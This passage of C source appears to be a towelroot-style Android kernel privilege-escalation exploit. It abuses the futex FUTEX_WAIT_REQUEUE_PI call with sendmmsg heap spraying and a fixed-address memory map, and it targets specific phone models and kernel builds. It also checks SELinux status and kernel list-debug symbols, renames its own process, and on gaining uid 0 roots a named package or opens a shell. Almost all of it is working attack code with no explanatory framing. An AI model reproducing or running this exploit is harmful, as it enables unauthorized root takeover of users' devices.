    v3 = g_this_phone->b;
    victim_tid = syscall(__NR_gettid);
    while ( !g_listener_ready )
        sleep(1u);
    socket_fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( socket_fd >= 0 )
    {
        while ( 1 )
        {
            port = (unsigned short)g_listen_port;
            addr->sin_family = AF_INET;
            addr->sin_port = ((port >> 8) | (port << 8));
            inet_aton("127.0.0.1", &addr->sin_addr);
            if ( connect(socket_fd, (const struct sockaddr *)addr, 0x10u) >= 0 )
                break;
            sleep(1u);
        }
        v6 = g_magic;
        v7 = (int *)sock_data_buf;
        p_end = sock_data_buf + 224;

        do
        {
            *v7 = v6;
            ++v7;
        }
        //while ( v7 != &g_listener_ready );
        while ( v7 != p_end );
        msgvec = g_msgvec;
//        *(unsigned long *)&sock_data_buf[v3] = 1;

//		for (i = 0; i < 224/4; i++) {
//			((int*)sock_data_buf)[i] = i + 0x50000000;
//		}

//		((int*)sock_data_buf)[0x8] = 0x11;
//		((int*)sock_data_buf)[0x9] = 0x12;
//		((int*)sock_data_buf)[0xa] = 0x13;
//		((int*)sock_data_buf)[0xb] = g_magic;
//        ((int*)sock_data_buf)[0xc] = g_magic;
//		((int*)sock_data_buf)[0xd] = g_magic;
//        ((int*)sock_data_buf)[0xe] = g_magic;
//        ((int*)sock_data_buf)[0xf] = g_magic;

//        for (i = 0; i < 8; i++) {
//        	v2[i].iov_base = (void *) g_magic;
//        	v2[i].iov_len = 0x10;
//		}

        //do
        for(i=0; i<1024; i++)
        {
            msgvec->msg_hdr.msg_name = addr;
            msgvec->msg_hdr.msg_namelen = 128;
            msgvec->msg_hdr.msg_iov = v2;
            msgvec->msg_hdr.msg_iovlen = 8;
            msgvec->msg_hdr.msg_control = v1;
            msgvec->msg_hdr.msg_controllen = 32;
            msgvec->msg_hdr.msg_flags = 0;
            msgvec->msg_len = 1024;
            ++msgvec;
        }
        //while ( (int *)msgvec != &swag2 );
        if ( !setpriority(0, 0u, 12) )
        {
            syscall(__NR_futex, &swag2, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag, 0);
            do_socket_tid_read = 1;
            while ( 1 )
            	//syscall(__NR_sendmsg, socket_fd, g_msgvec, 0);
                syscall(__NR_sendmmsg, socket_fd, g_msgvec, 1024, 0);
        }
    }
    return 0;
}

void *map_magic()
{
  void *addr;
  addr = mmap((void *)0xa0000000, 0x100000u, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
  if ( addr != (void *)-1 ) {
      g_mm_1000000 = addr;
      addr += 0x800;
      g_magic = addr;
  }
  return addr;
}

char* strreplace(char* buf, char old, char new){
	char* p = buf;

	while( *p != 0){
		if ( *p == old ){
			*p = new;
		}
		p++;
	}
	return buf;
}

//int main(int argc, char **argv)
int towelroot_main() 
{
    struct utsname sysinfo;
    char tmp[32];
    char tmp_utc[32];
    int i, fd, n, k;
    int len_model, len_release, len_version;
    long utc_build;
    pthread_t tid;
    bool bSupport = false;
    bool bForceSupport = false;

    prctl(PR_SET_NAME, "pvR_timewQ", 0, 0, 0);
/*
    if (argc != 2) {
        return 1;
    }
    strncpy((char *)argv[0], argv[1], strlen(argv[0]));
*/
    if(uname(&sysinfo)) {
        return 1;
    }



    // search for the matching phone
    __system_property_get("ro.product.model", tmp);
    __system_property_get("ro.build.date.utc", tmp_utc);

    utc_build = atol(tmp_utc);
    strreplace(tmp, ' ', '+');
    strreplace(tmp, '&', '_');
    len_model = strlen(tmp);
    len_release = strlen(sysinfo.release);
    len_version = strlen(sysinfo.version);
    g_this_phone = NULL;

#define STR_VER_3_4 "3.4."
#define STR_VER_3_0 "3.0."

    if ( strncmp(sysinfo.release, STR_VER_3_4, strlen(STR_VER_3_4) -1 ) == 0){
        g_this_phone = g_default_phones;
    } else if ( strncmp(sysinfo.release, STR_VER_3_0, strlen(STR_VER_3_0) -1 ) == 0){
    	 g_this_phone = g_default_phones;
    }

    if (g_this_phone == NULL)
    	exit(101);

    for ( k = 0; k < sizeof(g_force_support_phone)/sizeof(g_force_support_phone[0]); k++ ){
    	if ( g_force_support_phone[k].buildutc == utc_build ){
    		if ( strncasecmp(g_force_support_phone[k].model,tmp,len_model) == 0){
    			if ( strncasecmp(g_force_support_phone[k].buildno,sysinfo.release,len_release) == 0){
    				bForceSupport = true;
    				break;
    			}
    		}
    	}
    }

    // 如果找到这个函数，代表着这个机器会有list的检测，就不执行，以免crash
    int val = ksymbol_kallsyms_lookup("__list_add");
	if (val != KSYMBOL_LOOKUP_404 && val != KSYMBOL_LOOKUP_500
			&& !bForceSupport) {
		exit(103);
		return 1;
    }

    for ( k = 0; k < sizeof(g_support_phone_all)/sizeof(g_support_phone_all[0]); k++ ){
    	if ( g_support_phone_all[k].buildutc == utc_build ){
    		if ( strncasecmp(g_support_phone_all[k].model,tmp,len_model) == 0){
    			if ( strncasecmp(g_support_phone_all[k].buildno,sysinfo.release,len_release) == 0){
    				bSupport = true;
    				break;
    			}
    		}
    	}
    }

    if (!bSupport && !bForceSupport){
    	exit(105);
    }

    sel_enforcing = g_this_phone->selinux_mark;
    found_selinux_key = g_this_phone->selinux_extra;
    if(!sel_enforcing) {
        int enforce = 0;
        struct stat s_stat;
        fd = open("/sys/fs/selinux/enforce", O_RDONLY);
        if(fd < 0) {
            if(!stat("/sys/fs/selinux", &s_stat) && (s_stat.st_mode & 0xf000) == 0x4000) {
                enforce = 1;
            }
        } else {
            memset(tmp, 0, 20);
            n = read(fd, tmp, 4);
            close(fd);
            if(n >= 0 && sscanf(tmp, "%d", &enforce) != 1) {
                enforce = 0;
            }
        }
        sel_enforcing = enforce;
        if(enforce) {
            found_selinux_key = stat("/proc/key-users", &s_stat)? 0 : 4;
        }
    }

    if(map_magic() == (void *)-1) {
    	exit(102);
        return 1;
    }
    pthread_create(&tid, 0, send_magicmsg, 0);
    search_goodnum();

    return 0;
}

///////////////////////////////////////////////////////////////////////////////


extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt!\n");
#ifndef DEBUG
	runrt( atoi(argv[1]), argv[2], argv[3] );
#else
	system("sh");
#endif
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = -1, wait_time = 60, pid = 0;
	
	check_parent_pid();
	if(argc < 4) return 1;
	
	pid = fork();
	if(pid == 0) {
		ret = towelroot_main();
		printff("subproc ret: %d\n", getuid());
		exit(ret);
	} else {
		ret = -2;
		while ( wait_time > 0 ){
			int status = 0;
			if ( pid == waitpid(pid, &status, WNOHANG) ){
				if (WIFEXITED(status)) {
					ret = WEXITSTATUS(status);
					break;
				}
			}

			sleep(1);
			wait_time -= 1;
		}
	}
	
	uid = getuid();
	printff("parent ret: %d, %d\n", uid, ret);
	if( uid == 0 ) {
		do_root(argc, argv);
	} else {
		if (ret == 0) {
			ret = -1;
		}
	}
	return (uid == 0) ? 0: ret;
}
